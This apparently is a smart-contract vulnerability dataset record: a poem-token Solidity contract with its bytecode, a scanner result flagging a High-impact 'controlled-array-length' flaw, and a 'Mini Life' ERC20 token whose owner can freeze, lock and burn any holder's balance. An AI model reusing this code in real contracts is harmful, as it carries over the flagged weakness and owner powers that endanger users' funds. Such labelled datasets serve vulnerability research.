listTINAmotley.push("The clew-bottom of trustless memorials");
listTINAmotleyIndexToAddress[5] = address(0);
listTINAmotley.push("The churning ballock of sadness");
listTINAmotleyIndexToAddress[6] = address(0);
listTINAmotley.push("The bagpiped bravado of TINA");
listTINAmotleyIndexToAddress[7] = address(0);
listTINAmotley.push("There T");
listTINAmotleyIndexToAddress[8] = address(0);
listTINAmotley.push("Is I");
listTINAmotleyIndexToAddress[9] = address(0);
listTINAmotley.push("No N");
listTINAmotleyIndexToAddress[10] = address(0);
listTINAmotley.push("Alternative A");
listTINAmotleyIndexToAddress[11] = address(0);
listTINAmotley.push("TINA TINA TINA");
listTINAmotleyIndexToAddress[12] = address(0);
listTINAmotley.push("Motley");
listTINAmotleyIndexToAddress[13] = info_OwnerOfContract;
listTINAmotley.push("There is no alternative");
listTINAmotleyIndexToAddress[14] = info_OwnerOfContract;
listTINAmotley.push("Machines made of sunshine");
listTINAmotleyIndexToAddress[15] = info_OwnerOfContract;
listTINAmotley.push("Infidel heteroglossia");
listTINAmotleyIndexToAddress[16] = info_OwnerOfContract;
listTINAmotley.push("TINA and the cyborg, Margaret and motley");
listTINAmotleyIndexToAddress[17] = info_OwnerOfContract;
listTINAmotley.push("Motley fecundity, be fruitful and multiply");
listTINAmotleyIndexToAddress[18] = info_OwnerOfContract;
listTINAmotley.push("Perverts! Mothers! Leninists!");
listTINAmotleyIndexToAddress[19] = info_OwnerOfContract;
listTINAmotley.push("Space!");
listTINAmotleyIndexToAddress[20] = info_OwnerOfContract;
listTINAmotley.push("Over the exosphere");
listTINAmotleyIndexToAddress[21] = info_OwnerOfContract;
listTINAmotley.push("On top of the stratosphere");
listTINAmotleyIndexToAddress[22] = info_OwnerOfContract;
listTINAmotley.push("On top of the troposphere");
listTINAmotleyIndexToAddress[23] = info_OwnerOfContract;
listTINAmotley.push("Over the chandelier");
listTINAmotleyIndexToAddress[24] = info_OwnerOfContract;
listTINAmotley.push("On top of the lithosphere");
listTINAmotleyIndexToAddress[25] = info_OwnerOfContract;
listTINAmotley.push("Over the crust");
listTINAmotleyIndexToAddress[26] = info_OwnerOfContract;
listTINAmotley.push("You're the top");
listTINAmotleyIndexToAddress[27] = info_OwnerOfContract;
listTINAmotley.push("You're the top");
listTINAmotleyIndexToAddress[28] = info_OwnerOfContract;
listTINAmotley.push("Be fruitful!");
listTINAmotleyIndexToAddress[29] = info_OwnerOfContract;
listTINAmotley.push("Fill the atmosphere, the heavens, the ether");
listTINAmotleyIndexToAddress[30] = info_OwnerOfContract;
listTINAmotley.push("Glory! Glory. TINA TINA Glory.");
listTINAmotleyIndexToAddress[31] = info_OwnerOfContract;
listTINAmotley.push("Over the stratosphere");
listTINAmotleyIndexToAddress[32] = info_OwnerOfContract;
listTINAmotley.push("Over the mesosphere");
listTINAmotleyIndexToAddress[33] = info_OwnerOfContract;
listTINAmotley.push("Over the troposphere");
listTINAmotleyIndexToAddress[34] = info_OwnerOfContract;
listTINAmotley.push("On top of bags of space");
listTINAmotleyIndexToAddress[35] = info_OwnerOfContract;
listTINAmotley.push("Over backbones and bags of ether");
listTINAmotleyIndexToAddress[36] = info_OwnerOfContract;
listTINAmotley.push("Now TINA, TINA has a backbone");
listTINAmotleyIndexToAddress[37] = info_OwnerOfContract;
listTINAmotley.push("And motley confetti lists");
listTINAmotleyIndexToAddress[38] = info_OwnerOfContract;
listTINAmotley.push("Confetti arms, confetti feet, confetti mouths, confetti faces");
listTINAmotleyIndexToAddress[39] = info_OwnerOfContract;
listTINAmotley.push("Confetti assholes");
listTINAmotleyIndexToAddress[40] = info_OwnerOfContract;
listTINAmotley.push("Confetti cunts and confetti cocks");
listTINAmotleyIndexToAddress[41] = info_OwnerOfContract;
listTINAmotley.push("Confetti offspring, splendid suns");
listTINAmotleyIndexToAddress[42] = info_OwnerOfContract;
listTINAmotley.push("The moon and rings, the countless combinations and effects");
listTINAmotleyIndexToAddress[43] = info_OwnerOfContract;
listTINAmotley.push("Such-like, and good as such-like");
listTINAmotleyIndexToAddress[44] = info_OwnerOfContract;
listTINAmotley.push("(Mumbled)");
listTINAmotleyIndexToAddress[45] = info_OwnerOfContract;
listTINAmotley.push("Everything's for sale");
listTINAmotleyIndexToAddress[46] = info_OwnerOfContract;
listTINAmotley.push("Just bring your lists");
listTINAmotleyIndexToAddress[47] = info_OwnerOfContract;
listTINAmotley.push("Micro resurrections");
listTINAmotleyIndexToAddress[48] = info_OwnerOfContract;
listTINAmotley.push("Paddle steamers");
listTINAmotleyIndexToAddress[49] = info_OwnerOfContract;
listTINAmotley.push("Windmills");
listTINAmotleyIndexToAddress[50] = info_OwnerOfContract;
listTINAmotley.push("Anti-anti-utopias");
listTINAmotleyIndexToAddress[51] = info_OwnerOfContract;
listTINAmotley.push("Rocinante lists");
listTINAmotleyIndexToAddress[52] = info_OwnerOfContract;
listTINAmotley.push("In memoriam lists");
listTINAmotleyIndexToAddress[53] = info_OwnerOfContract;
listTINAmotley.push("TINA TINA TINA");
listTINAmotleyIndexToAddress[54] = info_OwnerOfContract;
listTINAmotleyBalanceOf[info_OwnerOfContract] = 42;
listTINAmotleyBalanceOf[address(0)] = 13;
listTINAmotleyTotalSupply = 55;
}
function info_TotalSupply() public view returns (uint256 total){
total = listTINAmotleyTotalSupply;
return total;
}
//Number of list elements owned by an account.
function info_BalanceOf(address _owner) public view
returns (uint256 balance){
balance = listTINAmotleyBalanceOf[_owner];
return balance;
}
//Shows text of a list element.
function info_SeeTINAmotleyLine(uint256 _tokenId) external view
returns(string){
require(_tokenId < listTINAmotleyTotalSupply);
return listTINAmotley[_tokenId];
}
function info_OwnerTINAmotleyLine(uint256 _tokenId) external view
returns (address owner){
require(_tokenId < listTINAmotleyTotalSupply);
owner = listTINAmotleyIndexToAddress[_tokenId];
return owner;
}
// Is the line available to be claimed?
function info_CanBeClaimed(uint256 _tokenId) external view returns(bool){
require(_tokenId < listTINAmotleyTotalSupply);
if (listTINAmotleyIndexToAddress[_tokenId] == address(0))
return true;
else
return false;
}
// Claim line owned by address(0).
function gift_ClaimTINAmotleyLine(uint256 _tokenId) external returns(bool){
require(_tokenId < listTINAmotleyTotalSupply);
require(listTINAmotleyIndexToAddress[_tokenId] == address(0));
listTINAmotleyIndexToAddress[_tokenId] = msg.sender;
listTINAmotleyBalanceOf[msg.sender]++;
listTINAmotleyBalanceOf[address(0)]--;
emit Claim(_tokenId, msg.sender);
return true;
}
// Create new list element.
function gift_CreateTINAmotleyLine(string _text) external returns(bool){
require (msg.sender != address(0));
uint256 oldTotalSupply = listTINAmotleyTotalSupply;
listTINAmotleyTotalSupply++;
require (listTINAmotleyTotalSupply > oldTotalSupply);
listTINAmotley.push(_text);
uint256 _tokenId = listTINAmotleyTotalSupply - 1;
listTINAmotleyIndexToAddress[_tokenId] = msg.sender;
listTINAmotleyBalanceOf[msg.sender]++;
return true;
}
// Transfer by owner to address. Transferring to address(0) will
// make line available to be claimed.
function gift_Transfer(address _to, uint256 _tokenId) public returns(bool) {
address initialOwner = listTINAmotleyIndexToAddress[_tokenId];
require (initialOwner == msg.sender);
require (_tokenId < listTINAmotleyTotalSupply);
// Remove for sale.
market_WithdrawForSale(_tokenId);
rawTransfer (initialOwner, _to, _tokenId);
// Remove new owner's bid, if it exists.
clearNewOwnerBid(_to, _tokenId);
return true;
}
// Let anyone interested know that the owner put a token up for sale.
// Anyone can obtain it by sending an amount of wei equal to or
// larger than _minPriceInWei.
function market_DeclareForSale(uint256 _tokenId, uint256 _minPriceInWei)
external returns (bool){
require (_tokenId < listTINAmotleyTotalSupply);
address tokenOwner = listTINAmotleyIndexToAddress[_tokenId];
require (msg.sender == tokenOwner);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId,
msg.sender, _minPriceInWei, address(0));
emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, address(0));
return true;
}
// Let anyone interested know that the owner put a token up for sale.
// Only the address _to can obtain it by sending an amount of wei equal
// to or larger than _minPriceInWei.
function market_DeclareForSaleToAddress(uint256 _tokenId, uint256
_minPriceInWei, address _to) external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
address tokenOwner = listTINAmotleyIndexToAddress[_tokenId];
require (msg.sender == tokenOwner);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId,
msg.sender, _minPriceInWei, _to);
emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, _to);
return true;
}
// Owner no longer wants token for sale, or token has changed owner,
// so previously posted for sale is no longer valid.
function market_WithdrawForSale(uint256 _tokenId) public returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (msg.sender == listTINAmotleyIndexToAddress[_tokenId]);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(false, _tokenId,
address(0), 0, address(0));
emit ForSaleWithdrawn(_tokenId, msg.sender);
return true;
}
// I'll take it. Must send at least as many wei as minValue in
// forSale structure.
function market_BuyForSale(uint256 _tokenId) payable external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
forSaleInfo storage existingForSale = info_ForSaleInfoByIndex[_tokenId];
require(existingForSale.isForSale);
require(existingForSale.onlySellTo == address(0) ||
existingForSale.onlySellTo == msg.sender);
require(msg.value >= existingForSale.minValue);
require(existingForSale.seller ==
listTINAmotleyIndexToAddress[_tokenId]);
address seller = listTINAmotleyIndexToAddress[_tokenId];
rawTransfer(seller, msg.sender, _tokenId);
// must withdrawal for sale after transfer to make sure msg.sender
// is the current owner.
market_WithdrawForSale(_tokenId);
// clear bid of new owner, if it exists
clearNewOwnerBid(msg.sender, _tokenId);
info_PendingWithdrawals[seller] += msg.value;
emit ForSaleBought(_tokenId, msg.value, seller, msg.sender);
return true;
}
// Let anyone interested know that potential buyer put up money for a token.
function market_DeclareBid(uint256 _tokenId) payable external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (listTINAmotleyIndexToAddress[_tokenId] != address(0));
require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender);
require (msg.value > 0);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
// Keep only the highest bid.
require (msg.value > existingBid.value);
if (existingBid.value > 0){
info_PendingWithdrawals[existingBid.bidder] += existingBid.value;
}
info_BidInfoByIndex[_tokenId] = bidInfo(true, _tokenId,
msg.sender, msg.value);
emit BidDeclared(_tokenId, msg.value, msg.sender);
return true;
}
// Potential buyer changes mind and withdrawals bid.
function market_WithdrawBid(uint256 _tokenId) external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (listTINAmotleyIndexToAddress[_tokenId] != address(0));
require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
require (existingBid.hasBid);
require (existingBid.bidder == msg.sender);
uint256 amount = existingBid.value;
// Refund
info_PendingWithdrawals[existingBid.bidder] += amount;
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0), 0);
emit BidWithdrawn(_tokenId, amount, msg.sender);
return true;
}
// Accept bid, and transfer money and token. All money in wei.
function market_AcceptBid(uint256 _tokenId, uint256 minPrice)
external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
address seller = listTINAmotleyIndexToAddress[_tokenId];
require (seller == msg.sender);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
require (existingBid.hasBid);
//Bid must be larger than minPrice
require (existingBid.value > minPrice);
address buyer = existingBid.bidder;
// Remove for sale.
market_WithdrawForSale(_tokenId);
rawTransfer (seller, buyer, _tokenId);
uint256 amount = existingBid.value;
// Remove bid.
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0),0);
info_PendingWithdrawals[seller] += amount;
emit BidAccepted(_tokenId, amount, seller, buyer);
return true;
}
// Retrieve money to successful sale, failed bid, withdrawn bid, etc.
// All in wei. Note that refunds, income, etc. are NOT automatically
// deposited in the user's address. The user must withdraw the funds.
function market_WithdrawWei() external returns(bool) {
uint256 amount = info_PendingWithdrawals[msg.sender];
require (amount > 0);
info_PendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
return true;
}
function clearNewOwnerBid(address _to, uint256 _tokenId) internal {
// clear bid when become owner via transfer or forSaleBuy
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
if (existingBid.bidder == _to){
uint256 amount = existingBid.value;
info_PendingWithdrawals[_to] += amount;
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId,
address(0), 0);
emit BidWithdrawn(_tokenId, amount, _to);
}
}
function rawTransfer(address _from, address _to, uint256 _tokenId)
internal {
listTINAmotleyBalanceOf[_from]--;
listTINAmotleyBalanceOf[_to]++;
listTINAmotleyIndexToAddress[_tokenId] = _to;
emit Transfer(_tokenId, _from, _to);
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302fd9dd8811461012c578063152c04d91461016757806319b0297d146101af5780631e0a0f60146101e25780634f284594146101fa578063534607fb1461020f57806356b83dc51461024057806371cf5979146102ca57806374f78412146102e55780637b151be0146102f05780639bdbb4c714610305578063a2eb0d011461031d578063a384af001461033d578063a59dbfb714610348578063a6134e981461036c578063acd9277f1461038d578063dfcc525d146103a8578063e0b28190146103c0578063fafe090214610411578063fb1f41f914610429578063fbfb7e7014610441578063ffeeac8214610459575b600080fd5b34801561013857600080fd5b50610153600435602435600160a060020a036044351661046e565b604080519115158252519081900360200190f35b34801561017357600080fd5b5061017f6004356105de565b6040805194151585526020850193909352600160a060020a03909116838301526060830152519081900360800190f35b3480156101bb57600080fd5b506101d0600160a060020a0360043516610615565b60408051918252519081900360200190f35b3480156101ee57600080fd5b50610153600435610634565b34801561020657600080fd5b506101d0610673565b34801561021b57600080fd5b5061022461067a565b60408051600160a060020a039092168252519081900360200190f35b34801561024c57600080fd5b50610255610689565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028f578181015183820152602001610277565b50505050905090810190601f1680156102bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d657600080fd5b50610153600435602435610716565b610153600435610877565b3480156102fc57600080fd5b506101536109e7565b34801561031157600080fd5b50610153600435610a48565b34801561032957600080fd5b506101536004803560248101910135610bb0565b610153600435610c60565b34801561035457600080fd5b50610153600160a060020a0360043516602435610d9f565b34801561037857600080fd5b506101d0600160a060020a0360043516610dfa565b34801561039957600080fd5b50610153600435602435610e0c565b3480156103b457600080fd5b50610255600435610f13565b3480156103cc57600080fd5b506103d8600435610fcc565b6040805195151586526020860194909452600160a060020a03928316858501526060850191909152166080830152519081900360a00190f35b34801561041d57600080fd5b5061015360043561100a565b34801561043557600080fd5b506102246004356110d8565b34801561044d57600080fd5b50610153600435611105565b34801561046557600080fd5b506102556111f6565b6000806004548510151561048157600080fd5b50600084815260056020526040902054600160a060020a03163381146104a657600080fd5b60a06040519081016040528060011515815260200186815260200133600160a060020a0316815260200185815260200184600160a060020a03168152506007600087815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a815481600160a060020a030219169083600160a060020a031602179055506060820151816003015560808201518160040160006101000a815481600160a060020a030219169083600160a060020a0316021790555090505082600160a060020a031633600160a060020a0316867f4398c010beff9b163da97c65f5b6d3e306326cc93c3b0bc94ef6ccf596c768e2876040518082815260200191505060405180910390a4506001949350505050565b600860205260009081526040902080546001820154600283015460039093015460ff909216929091600160a060020a039091169084565b600160a060020a0381166000908152600660205260409020545b919050565b600454600090821061064557600080fd5b600082815260056020526040902054600160a060020a0316151561066b5750600161062f565b50600061062f565b6004545b90565b600254600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561070e5780601f106106e35761010080835404028352916020019161070e565b820191906000526020600020905b8154815290600101906020018083116106f157829003601f168201915b505050505081565b60008060008060006004548710151561072e57600080fd5b600087815260056020526040902054600160a060020a0316935033841461075457600080fd5b6000878152600860205260409020805490935060ff16151561077557600080fd5b6003830154861061078557600080fd5b6002830154600160a060020a0316915061079e87611105565b506107aa848389611251565b5060038281015460408051608081018252600080825260208083018c8152838501838152606085018481528e8552600884528685209551865460ff19169015151786559151600186015551600285018054600160a060020a031916600160a060020a0392831617905590519390960192909255878516808252600983529083902080548501905582518481529251939486169390928b927ff16c5ed39dc31d5eab2c86ade83769cf987d78b585032fa15c9ca45e7f5fe64e92918290030190a45060019695505050505050565b6000806004548310151561088a57600080fd5b600083815260056020526040902054600160a060020a031615156108ad57600080fd5b600083815260056020526040902054600160a060020a03163314156108d157600080fd5b600034116108de57600080fd5b506000828152600860205260409020600381015434116108fd57600080fd5b6000816003015411156109335760038101546002820154600160a060020a03166000908152600960205260409020805490910190555b604080516080810182526001808252602080830187815233848601818152346060870181815260008c8152600887528990209751885460ff191690151517885593519587019590955551600286018054600160a060020a031916600160a060020a03909216919091179055905160039094019390935583519182529251919286927f4a9b4872e4e2494b7b966f38d3fef79aa57561eab9830d979b4d124b2a90d7579281900390910190a350600192915050565b33600090815260096020526040812054818111610a0357600080fd5b336000818152600960205260408082208290555183156108fc0291849190818181858888f19350505050158015610a3e573d6000803e3d6000fd5b50600191505b5090565b600080600060045484101515610a5d57600080fd5b600084815260056020526040902054600160a060020a03161515610a8057600080fd5b600084815260056020526040902054600160a060020a0316331415610aa457600080fd5b6000848152600860205260409020805490925060ff161515610ac557600080fd5b6002820154600160a060020a03163314610ade57600080fd5b50600381810154600280840154600160a060020a03908116600090815260096020908152604080832080548701905580516080810182528381528083018b8152818301858152606083018681528d875260088652958490209251835460ff191690151517835590516001830155519581018054600160a060020a031916969095169590951790935590519290940191909155805182815290519192339287927fb41c9b05054be45850ccc1da7d90c7b819cff855cfe0d14f16427398b286c9b692908290030190a35060019392505050565b60008080331515610bc057600080fd5b60048054600181019182905592508210610bd957600080fd5b6003805460018101808355600092909252610c17907fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0187876113c9565b50506004546000190160009081526005602090815260408083208054600160a060020a031916339081179091558352600690915290208054600190810190915595945050505050565b600080600060045484101515610c7557600080fd5b6000848152600760205260409020805490925060ff161515610c9657600080fd5b6004820154600160a060020a03161580610cbc57506004820154600160a060020a031633145b1515610cc757600080fd5b6003820154341015610cd857600080fd5b6000848152600560205260409020546002830154600160a060020a03908116911614610d0357600080fd5b50600083815260056020526040902054600160a060020a0316610d27813386611251565b610d3084611105565b50610d3b33856112d9565b600160a060020a0381166000818152600960209081526040918290208054349081019091558251908152915133939288927f2c12839ef64bea6a70c50dab4bbde52beab0585883b4be2c0c56a49f93c8797f92918290030190a45060019392505050565b600081815260056020526040812054600160a060020a0316338114610dc357600080fd5b6004548310610dd157600080fd5b610dda83611105565b50610de6818585611251565b610df084846112d9565b5060019392505050565b60096020526000908152604090205481565b60008060045484101515610e1f57600080fd5b50600083815260056020526040902054600160a060020a0316338114610e4457600080fd5b6040805160a0810182526001808252602080830188815233848601818152606086018a81526000608088018181528d8252600787528982209851895460ff19169015151789559451968801969096559051600287018054600160a060020a0319908116600160a060020a0393841617909155915160038801559251600490960180549091169590921694909417905583518781529351919388927f4398c010beff9b163da97c65f5b6d3e306326cc93c3b0bc94ef6ccf596c768e2929181900390910190a45060019392505050565b6004546060908210610f2457600080fd5b6003805483908110610f3257fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610fc05780601f10610f9557610100808354040283529160200191610fc0565b820191906000526020600020905b815481529060010190602001808311610fa357829003601f168201915b50505050509050919050565b6007602052600090815260409020805460018201546002830154600384015460049094015460ff909316939192600160a060020a0391821692911685565b600454600090821061101b57600080fd5b600082815260056020526040902054600160a060020a03161561103d57600080fd5b60008281526005602090815260408083208054600160a060020a0319163390811790915580845260068352818420805460010190559280527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f88054600019019055805185815290517f35538759d80c1fd7bb450a0d05601db5a99fa8b5d073a07c847a9fd61029b107929181900390910190a2506001919050565b60045460009082106110e957600080fd5b50600090815260056020526040902054600160a060020a031690565b600454600090821061111657600080fd5b600082815260056020526040902054600160a060020a0316331461113957600080fd5b6040805160a08101825260008082526020808301868152838501838152606085018481526080860185815289865260079094528685209551865460ff19169015151786559151600186015551600285018054600160a060020a0319908116600160a060020a03938416179091559151600386015591516004909401805490911693909116929092179091559051339184917f2646172b1b1c27e63f2c49be59b543cdf80e8c524be686263dbfe352e1aec1539190a3506001919050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561070e5780601f106106e35761010080835404028352916020019161070e565b600160a060020a03808416600081815260066020908152604080832080546000190190559386168083528483208054600101905585835260058252918490208054600160a060020a031916831790558351858152935191937f0a429aba3d89849a2db0153e4534d95c46a1d83c8109d73893f55ebc44010ff4929081900390910190a3505050565b60008181526008602052604081206002810154909190600160a060020a03858116911614156113c35750600381810154600160a060020a03858116600081815260096020908152604080832080548701905580516080810182528381528083018a8152818301858152606083018681528c875260088652958490209251835460ff19169015151783559051600183015551600282018054600160a060020a031916919097161790955591519390950192909255815183815291519293909286927fb41c9b05054be45850ccc1da7d90c7b819cff855cfe0d14f16427398b286c9b692908290030190a35b50505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061140a5782800160ff19823516178555611437565b82800160010185558215611437579182015b8281111561143757823582559160200191906001019061141c565b50610a44926106779250905b80821115610a4457600081556001016114435600a165627a7a72305820eb08783e7a9639131f932ac3e0fa958c001135dfcc14ff8413c376ab390166cf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 1,662 |
0xa23b1d87145f93d317147854e416e7499084e2de
|
// ----------------------------------------------------------------------------
// Mini Life Contract
// Name : Mini Life
// Symbol : MLF
// Decimals : 18
// InitialSupply : 50,000,000 MLF
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract MiniLife is ERC20 {
string public constant name = "Mini Life";
string public constant symbol = "MLF";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 50000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
}
|
